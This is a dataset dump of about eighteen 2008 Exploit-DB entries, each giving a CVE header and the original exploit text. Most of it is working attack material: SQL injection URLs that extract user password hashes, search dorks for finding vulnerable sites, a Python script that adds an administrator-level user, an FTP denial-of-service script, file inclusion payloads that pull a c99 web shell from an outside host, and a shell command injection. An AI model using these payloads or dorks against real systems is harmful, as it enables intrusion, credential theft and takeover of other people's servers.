QLWD/code_shield huggingface dataset:
标题: Joomla! Component rekry 1.0.0 - 'op_id' SQL Injection EDB-ID: 5297 CVE: 2008-1535 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-23 漏洞利用脚本: @ Joomla component rekry!Joom (op_id) <=1.0.0 SQL injectIon.


Author:Sniper456

Contact:Sniper456[attt]gmail.com

Greetss: My chilean people

Developer:Matti Kiviharju


**Bug:

http://www.target.com/index.php?option=com_rekry&Itemid=xX&rekryview=view&op_id=[SQL]

**Example

http://www.target.com/index.php?option=com_rekry&Itemid=60&rekryview=view&op_id=-1/**/union/**/select/**/1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20jos_users+limit+1,1--



# Fro000M CHILE my frieeeenD! 2008 # /* Grande colo colo */

side note:
  <name>rekry</name>
  <creationDate>18.07.2006</creationDate>
  <author>Matti Kiviharju</author>
  <copyright>Copyright 2006 by Matti Kiviharju. All rights reserved!</copyright>
  <authorEmail>info@teknologiaplaneetta.com</authorEmail>

  <authorUrl>www.teknologiaplaneetta.com</authorUrl>
  <version>1.0.0</version>
  <description>This component allows careers to send their career info to databese!</description>

# milw0rm.com [2008-03-23] URL: https://www.exploit-db.com/exploits/5297
标题: Destar 0.2.2-5 - Arbitrary Add New User EDB-ID: 5298 CVE: 2008-6538 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-23 漏洞利用脚本: #
#!/usr/bin/python
#
# Exploit for destar 0.2.2-5, tested on Linux Debian
#
# Bug found and  exploit coded by a non root user
#
# http://nonroot.blogspot.com
#
# Enero 2008
#
# This is a PoC, please use it just for learning how to exploit something
#
# use: $python ./exploit_code.py
#
# required: urllib,urllib2 sys and re
#
import urllib,urllib2
import sys,re
print "Target host: i.e: http://127.0.0.1:8080/"
host=raw_input("Target host ( include http and /): ")
#info for the new user
#
user='mama'
password='mama'
source_ip='127.0.0.9'
phone=''
level='Configurator'
language='en'
#
#
req = urllib2.Request(host)
adduser = urllib.urlencode({'name': user, 'secret': password, 'pc' : source_ip, 'submit' : "Submit", 'phone' : phone, 'level' : level, 'language' : language})
req.add_header('X_FORWARDED_FOR','')
req = urllib2.Request(host+"config/add/CfgOptUser")
r = urllib2.urlopen(req,adduser)
data=r.read()
lookup=re.compile("There were errors").search
match=lookup(data)
if not match:
 print "Ok, now go and test your user at:",host
else:
 print "Exploit failed, sorry, go and find some new bug or check this code and fix it!"
 sys.exit(2)

sys.exit(0)

# milw0rm.com [2008-03-23] URL: https://www.exploit-db.com/exploits/5298
标题: Microsoft Excel - Code Execution (MS08-014) EDB-ID: 5287 CVE: 2008-0117 2008-0116 2008-0115 2008-0114 2008-0112 2008-0111 2008-0081 类型: LOCAL 平台: WINDOWS 发布日期: 2008-03-21 漏洞利用脚本: Microsoft Office Excel Code Execution Exploit (MS08-014)

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5287.rar (2008-zha0_ms08_014.rar)

# milw0rm.com [2008-03-21] URL: https://www.exploit-db.com/exploits/5287
标题: RunCMS Module section - 'artid' SQL Injection EDB-ID: 5285 CVE: 2008-1462 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-20 漏洞利用脚本: Cr@zy_King

crazy_kinq@hotmail.co.uk / hackshow.us

Grtz : Crackers_Child - str0ke - 3php - Alemin_Krali - Eno7 - DreamTurk - The_Bekir - Mhzr91

Runcms Module Section (artid) Remote Sql Ä°nj. Vuln.

Example :

 - modules/sections/index.php?op=viewarticle&artid=Sql

 - Sql : 1+and+1=0+union+select+1,2,pass,4,5,pwdsalt,7,8,9,10+from+runcms_users+where+uid=2

Cr@ Says : Kurtlar Vadisinde Memati Ã–lmeyecek kimse heyecanlanmasÄ±n :D

Alemin_Krali Says : Aynen katÄ±lÄ±yorum (ne alaka ise a.q)

Good.

# milw0rm.com [2008-03-20] URL: https://www.exploit-db.com/exploits/5285
标题: ZYXEL ZyWALL Quagga/Zebra - 'Default Password' Remote Code Execution EDB-ID: 5289 CVE: 2008-1160 类型: REMOTE 平台: HARDWARE 发布日期: 2008-03-21 漏洞利用脚本: Name: ZyXEL ZyWALL Quagga/Zebra Remote Root Vulnerability
Release Date: 10 March 2008
Discover: Pranav Joshi <joshipranav@gmail.com>
Vendor: ZyXEL
Products Affected: ZyWALL

(Status on other affected products & firmwares pending from vendorâ€™s end)

 CVE-2008-1160

 BID 28184

---------------------------

Technical Details

---------------------------

The vulnerability in the Quagga/Zebra routing daemon, exists due to the 
fact that the appliance fails to change the password needed to login 
into the Quagga/Zebra daemon running on ports 2601, 2602 (Quagga/RIP) & 
2604 (Quagga/OSPF) /TCP, even though the password of the appliance has 
been changed an attacker can still use the default password â€˜zebraâ€™ to 
log into the Quagga/Zebra service to view and manipulate the routing 
information etc. of the appliance. 

The vulnerability was discovered on ZyWall 1050 appliance other versions 
could be affected as well. 

Information on other vulnerable products and firmwares is pending from 
the vendorâ€™s end. 

# milw0rm.com [2008-03-21] URL: https://www.exploit-db.com/exploits/5289
标题: RunCMS Module Photo 3.02 - 'cid' SQL Injection EDB-ID: 5290 CVE: 2008-1551 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-21 漏洞利用脚本: ##########################################
#
# RunCMS Module Photo 3.02 SQL injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "modules/photo/viewcat.php?id"
#
# DORK 2 : inurl:photo "powered by runcms"
#
###########################################
EXPLOIT :

admin

modules/photo/viewcat.php?id=150&cid=-99999/**/union/**/select/**/0,uname/**/from/**/runcms_users/*

pass

modules/photo/viewcat.php?id=150&cid=-99999/**/union/**/select/**/0,pass/**/from/**/runcms_users/*

###########################################
RunCMS Photo Version : 3.02 module. #
###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################
##http://my.opera.com/SQL-Injection/blog/##
###########################################

# milw0rm.com [2008-03-21] URL: https://www.exploit-db.com/exploits/5290
标题: Joomla! Component joovideo 1.2.2 - 'id' SQL Injection EDB-ID: 5277 CVE: 2008-1460 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-19 漏洞利用脚本: ##########################################
#
# Mambo Component com_joovideo SQL Injection(Powered by joovideo V1.0)
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
TODAY MY BÄ°RTDAY
SOO I WROTE 5 BUGS ALL FOR HACKERS
5 EXPLOÄ°TS HAVE 100.000 MAMBO-JOOMLA WEBPAGES OR MUCH MORE
DONT FORGET MY PRESENT HACKERS
GOOD LUCKY

100.000 DEN FAZLA MAMBO NE JOOMLA WEBSiTESi
YASGUNUM NEDENiYLE HEDiYE
iYi SANLAR

you can see all my exploits

http://my.opera.com/SQL-Injection/blog/

###########################################
#
# DORK 1 : allinurl: "com_joovideo" detail
#
# DORK 2 : allinurl: "com_joovideo"
#
# DORK 3 : Powered by joovideo V1.0
#
###########################################
EXPLOIT :

index.php?option=com_joovideo&Itemid=S@BUN&task=detail&id=-99999/**/union/**/select/**/0,0,0x3a,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,concat(username,0x3a,password)/**/from/**/jos_users/*

###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

side note:
  <name>joovideo</name>
  <creationDate>18.04.2007</creationDate>
  <author>joomlapixel</author>
   <copyright>This component in released under the commercial License</copyright>
   <authorEmail>info@joomlapixel.eu</authorEmail>

  <authorUrl>www.joomlapixel.eu</authorUrl>
  <version>1.2.2</version>
  <description>joovideo! video manager semplificato per joomla!, versione commerciale</description>

# milw0rm.com [2008-03-19] URL: https://www.exploit-db.com/exploits/5277
标题: ASPapp Knowledge Base - 'CatId' SQL Injection (1) EDB-ID: 5276 CVE: 2008-1430 类型: WEBAPPS 平台: ASP 发布日期: 2008-03-19 漏洞利用脚本: ..##.....##     
...##...##      
....##.##
.....###CoRPITX 
.....###     
....##.##
...##...##
..##.....##

-----------------Turkey--------------------------------------
                                               
--------- www.Hayalet-hack.com-------------------------------

----------www.xcorpitx-hack.com------------------------------
Iatek | ASPapp -links.asp (CatId) SQL Injection Vulnerability 
-------------------------------------------------
 you ll see lots of users like this but  accesslevel ll help you for see admin
-------------------------------------------------------------
----------------example--------------------------------------

Links â€º guest  â€º  12    â€º 1     user
Links â€º editor â€º editor â€º 2     materator
Links â€º managerâ€º managerâ€º 2     materator
Links â€º surco  â€º surco  â€º 2     materator
Links â€º admin  â€º admin  â€º 3     admin
Links â€º ovivas â€º ovivas â€º 4     super-admin----- we  ll login with this username
-------------------------------------------------------------

-------------------------------------------------------------
i mean.. when you see  big number  4 or 5  you can  use this username and password
-------------------------------------------------------------

-------
dork   -  ''links.asp?CatId''
-------
exploit-
-------
admin login- 
-------
www.xxx.com/path/login.asp?ret_page=%2Fzmicer%2Fweb%2Fadmin%2Easp%3F
-------
-------------------------------------------------------------
links.asp?CatId=-99999%20UNION%20SELECT%20null,accesslevel,null,null,user_name,%205%20,password,null%20FROM%20Users
-------------------------------------------------------------

thanx- str0ke-D3ng3siz-pc faresi-s@bun-Hayalet-Turque-

# milw0rm.com [2008-03-19] URL: https://www.exploit-db.com/exploits/5276
标题: Joomla! Component Restaurante 1.0 - 'id' SQL Injection EDB-ID: 5280 CVE: 2008-1465 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-19 漏洞利用脚本: ##########################################
#
# Mambo Component com_restaurante SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
############################################
TODAY MY BÄ°RTDAY
SOO I WROTE 5 BUGS ALL FOR HACKERS
5 EXPLOÄ°T HAVE 100.000 MAMBO-JOOMLA WEBPAGES OR MUCH MORE
DONT FORGET MY PRESENT HACKERS
GOOD LUCKY

100.000 DEN FAZLA MAMBO NE JOOMLA WEBSiTESi
YASGUNUM NEDENiYLE HEDiYE
iYi SANLAR

you can see all my exploits

http://my.opera.com/SQL-Injection/blog/

###########################################
#
# DORK 1 : allinurl: "com_restaurante"
#
###########################################
EXPLOIT :

index.php?option=com_restaurante&task=detail&Itemid=S@BUN&id=-99999/**/union/**/select/**/0,0,0x3a,0,0,0,0,0,0,0,0,11,12,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,4,4,4,4,concat(username,0x3a,password)/**/from/**/jos_users/*


###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

side note:
 <name>Restaurante</name>
 <author>Detodas</author>
 <creationDate>31-07-2007</creationDate>
 <license>This component is released under the GNU/GPL License</license>
 <authorEmail>detodo@masde50.net</authorEmail>

 <authorUrl>www.detodo.masde50.net</authorUrl>
 <version>1.0</version>
 <description>The structure of this component is based on the structure of the component Alberghi by Vamba</description>

# milw0rm.com [2008-03-19] URL: https://www.exploit-db.com/exploits/5280
标题: phpAddressBook 2.11 - Multiple Local File Inclusions EDB-ID: 5288 CVE: 2008-1492 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-21 漏洞利用脚本: /  _  \ /\  /\ / _  \ /  _  \
      | | | | \ \/ / ||_| | | | | |
      | | | |  \  /  \_   | | | | |
      | |_| |  /  \   __\ | | |_| |
      \_____/ / /\ \ |____/ \_____/
              \/  \/


[~] phpAddressBook v2.11 Multiple Local File Inclusion Vulnerabilities

[~] Download: http://downloads.coronamatrix.org/phpAddressBookv2.11.zip

[~] Founder: 0x90

[~] HomePage: www.0x90.com.ar

[~] Public: http://0x90.com.ar/Advisory/20080321.txt

[~] Contact: Guns[at]0x90[dot]com[dot]ar

[~] PoC:

   http://[host]/[path]/index.php?skin=/../config.php %00
   http://[host]/[path]/install.php?skin=/../config.php %00


Greetz: ...

# milw0rm.com [2008-03-21] URL: https://www.exploit-db.com/exploits/5288
标题: ASPapp Knowledge Base - SQL Injection EDB-ID: 5286 CVE: 2008-1430 类型: WEBAPPS 平台: ASP 发布日期: 2008-03-20 漏洞利用脚本: ..##.....##     
...##...##      
....##.##
.....###CoRPITX 
.....###     
....##.##
...##...##
..##.....##

-------------------------Turkey------------------------------
                                               
-----------------www.Hayalet-hack.com------------------------

-----------------www.xcorpitx-hack.com-----------------------

ASPapp KnowledgeBase (content_by_cat.asp?catid) SQL Injection Vulnerability 
-------------------------------------------------------------

-------
Dork 1 -  content_by_cat.asp?contentid ''catid'' 

Dork 2 -  content_by_cat.asp? ''catid''  
-------
exploit-
-------

-------------------------------------------------------------
content_by_cat.asp?contentid=99999999&catid=-99887766+UNION+SELECT+0,null,password,3,accesslevel,5,null,7,null,user_name+from+users
-------------------------------------------------------------

-------------------------------------------------------------
content_by_cat.asp?contentid=-99999999&catid=-99887766+union+select+0,null,password,3,accesslevel,5,null,7,8,user_name+from+users
-------------------------------------------------------------

thanx- str0ke-D3ng3siz-pc faresi-s@bun-Hayalet-Turque-

# milw0rm.com [2008-03-20] URL: https://www.exploit-db.com/exploits/5286
标题: CenterIM 4.22.3 - Remote Command Execution EDB-ID: 5283 CVE: 2008-1467 类型: REMOTE 平台: LINUX 发布日期: 2008-03-20 漏洞利用脚本: #######################################################################

Application:  CenterIM
              http://www.centerim.org/index.php/Main_Page
Versions:     centerim <= 4.22.3
OS:           Linux
Bug:          Execution of shell commands
Exploit:      remote
Date:         15 March 2008
Author:       Brian Fonfara (w00)
   eMail:    brian.fonfara@gmx.de
   Web:       newb.kicks-ass.net


#######################################################################

1) Bug
2) Exploit


#######################################################################

=======
1) Bug
=======

Received URLs in the message window do not get checked for illegal
characters, like "\'", "\"", ";", "$", "{", "}", "&&" and "||"

#######################################################################

===========
2) Exploit
===========

Standard settings:
- Browser already open:
http://gidf.de/centerim)';cd$IFS$HOME/Desktop;wget${IFS}http://google.de;'(

- New browser instance:
http://gidf.de/centerim"&cd$IFS$HOME/Desktop;wget${IFS}http://google.de"

#######################################################################

Greets to: mrks

# milw0rm.com [2008-03-20] URL: https://www.exploit-db.com/exploits/5283
标题: Joomla! Component Alberghi 2.1.3 - 'id' SQL Injection EDB-ID: 5278 CVE: 2008-1459 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-19 漏洞利用脚本: ##########################################
#
# Mambo Component com_alberghi SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
TODAY MY BÄ°RTDAY
SOO I WROTE 5 BUGS ALL FOR HACKERS
5 EXPLOÄ°TS HAVE 100.000 MAMBO-JOOMLA WEBPAGES OR MUCH MORE
DONT FORGET MY PRESENT HACKERS
GOOD LUCKY

100.000 DEN FAZLA MAMBO NE JOOMLA WEBSiTESi
YASGUNUM NEDENiYLE HEDiYE
iYi SANLAR

you can see all my exploits

http://my.opera.com/SQL-Injection/blog/

###########################################
#
# DORK 1 : allinurl: "com_alberghi" detail
#
# DORK 2 : allinurl: "com_alberghi"
#
###########################################
EXPLOIT 1 :

index.php?option=com_alberghi&task=detail&Itemid=S@BUN&id=-99999/**/union/**/select/**/0,0,0x3a,0,0,0,0,0,0,0,0,11,12,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,concat(username,0x3a,password)/**/from/**/jos_users/*

EXPLOIT 2 :

index.php?option=com_alberghi&task=detail&Itemid=S@BUN&id=-99999/**/union/**/select/**/0,0,0x3a,0,0,0,0,0,0,0,0,11,12,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,concat(username,0x3a,password)/**/from/**/jos_users/*

###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

side note:
 <name>Alberghi</name>
 <author>Vamba</author>
 <creationDate>14-04-2007</creationDate>
 <copyright>This component is released under the GNU/GPL License</copyright>
 <license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>

 <authorEmail>webmaster@joomlaitalia.com</authorEmail>
 <authorUrl>www.joomlaitalia.com</authorUrl>
 <version>2.1.3</version>
 <description>Alberghi a fork of Accombo project original Author Niall McCullagh</description>

# milw0rm.com [2008-03-19] URL: https://www.exploit-db.com/exploits/5278
标题: Easy-Clanpage 2.2 - 'id' SQL Injection EDB-ID: 5275 CVE: 2008-1425 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-18 漏洞利用脚本: .-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.

 ~ Easy-Clanpage v2.2 (gallery) Remote SQL Injection Vulnerability ~

.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.

[+] Author: n3w7u

[+] Mail: n3w7u@gmx.net

[+] Source: http://easy-clanpage.de/?section=downloads&show=viewdownload&id=14

[+] Dork: "Easy-Clanpage v2.2"

.-=--=--=--=--=--=--=--=--=--=--=-.

[+] Vuln File: /modules/gallery/index.php

[+] Exploit: http://[host]/[path]/?section=gallery&action=kate&id=

[+] Example -1/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7/**/from/**/ecp_user/**/where/**/userid=1/*

# milw0rm.com [2008-03-18] URL: https://www.exploit-db.com/exploits/5275
标题: Exero CMS 1.0.1 - 'theme' Multiple Local File Inclusions EDB-ID: 5265 CVE: 2008-1409 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-17 漏洞利用脚本: Exero CMS 1.0.1 (theme) Multiple Local File Inclusion Vulnerabilities
Script : http://switch.dl.sourceforge.net/sourceforge/exerocms/Exero_CMS_1-0-1.rar
Home Page : http://ecms.getox.net/
POC :

      /Exero_CMS_1-0-1/themes/Default/usercp/index.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/usercp/editpassword.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/usercp/avatar.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/custompage.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/errors/404.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/members/memberslist.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/members/profile.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/news/index.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/news/fullview.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/nopermission.php?theme=Local File %00

# milw0rm.com [2008-03-17] URL: https://www.exploit-db.com/exploits/5265
标题: Home FTP Server 1.4.5 - Remote Denial of Service EDB-ID: 5270 CVE: 2008-1478 类型: DOS 平台: WINDOWS 发布日期: 2008-03-17 漏洞利用脚本: # Discovered by 0in from DaRk-CodeRs Programming & Security Group
# Contact: 0in(dot)email[at]gmail(dot)com
# Thats a very funny bug, and nobody understand how it works;]
# When we send a python FTP retrlines() function bad command and create
# a new connection server got DoS... o0
# Thats not overflow, it's probubly in logic application.
# Greetings to all DaRk-CodeRs Members:
# Die_Angel, Sun8hclf, M4r1usz, Djlinux, Aristo89
# Special THX to: Rade0n3900
# Debug:
# ----------------------
# | EIP: 0100FE98 |
# | DS:[00FFFFED4]=??? |
# | ECX: 0100FED4 |
# ----------------------
from ftplib import FTP
import time
ip="127.0.0.1"
login="anonymous"
passwd = 'gorion@scriptkiddie.pl'
print '-------------------------------'
print '| HOME FTP SERVER DoS Exploit |'
print '| bY 0in From Dark-Coders! |'
print '|>>http://dark-coders.4rh.eu<<|'
print '-------------------------------'
print 'connecting...'
ftp=FTP(ip)
ftp.login(login,passwd)
print 'sending...'
try:
ftp.retrlines("AAAA")
except Exception:
print 'ok!\nreconnecting...'
ftp=FTP(ip)
ftp.quit()
print 'DosEd'
#EoFF

# milw0rm.com [2008-03-17] URL: https://www.exploit-db.com/exploits/5270
标题: phpAuction GPL Enhanced 2.51 - Multiple Remote File Inclusions EDB-ID: 5266 CVE: 2008-1416 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-17 漏洞利用脚本: # Name : PHPauction GPL 2.51 Multiple Remote File Include Vulnerabilities

# Download From : http://www.johnrayfield.com/phpauction/phpauction-gpl-enhanced-251.zip

# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]  ( BlackxHat , BlackBox , alwheed )        

# Home Page :  WwW.4RxH.CoM              

+============================================================================+

# Vulne Codes In Files converter.inc.php & messages.inc.php & settings.inc.php In Differnet Lines

# Exploits :

http://4RxH.CoM/auction/includes/converter.inc.php?include_path=http://rxh.freehostia.com/shells/c99in.txt?

http://4RxH.CoM/auction/includes/messages.inc.php?include_path=http://rxh.freehostia.com/shells/c99in.txt?

http://4RxH.CoM/auction/includes/settings.inc.php?include_path=http://rxh.freehostia.com/shells/c99in.txt?

That,s It,s

Good Luck Everybody

+============================================================================+

# Greet To :

Tryag TeaM & All Members Of My Forum

# For Contact : RxH@HotMail.iT

# Note : Yesterday I Help You !! Tomorrow Fuck Me !!! Fuck All Snitches !!! But Do You Know What !!! That,s Is My Mistake

RxH

Best Wishes

# milw0rm.com [2008-03-17] URL: https://www.exploit-db.com/exploits/5266
标题: Fuzzylime CMS 3.01 - 'admindir' Remote File Inclusion EDB-ID: 5260 CVE: 2008-1405 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-14 漏洞利用脚本: .-----------------------------------------------------------------------------.
|  vuln.: fuzzylime cms <= 3.01 Remote File Inclusion Vulnerability           |
|  download: http://cms.fuzzylime.co.uk/                                      |
|  dork: "powered by fuzzylime"                                               |
|                                                                             |
|  author: irk4z@yahoo.pl                                                     |
|  homepage: http://irk4z.wordpress.com/                                      |
|                                                                             |
|  greets to: cOndemned, str0ke, wacky                                        |
'-----------------------------------------------------------------------------'

# code:

  /code/display.php:
  ... 
1    <?
2    $s = $_GET[s];
3    $p = $_GET[p];
4    $s = str_replace("../", "", $s);
5    $p = str_replace("../", "", $p);
6    if(empty($s)) $s = "front";
7    if(empty($p)) $p = "index";
8    $curs = $s;
9    $curp = $p;
10
11   include "code/settings.inc.php";
12   include "${admindir}/languages/english.inc.php";
 ...

 line 11: ./code/code/settings.inc.php not exists so $admindir is empty :D:D
 
# exploit: 
 
 http://[HOST]/[PATH]/code/display.php?admindir=http://host/shell.txt?

# milw0rm.com [2008-03-14] URL: https://www.exploit-db.com/exploits/5260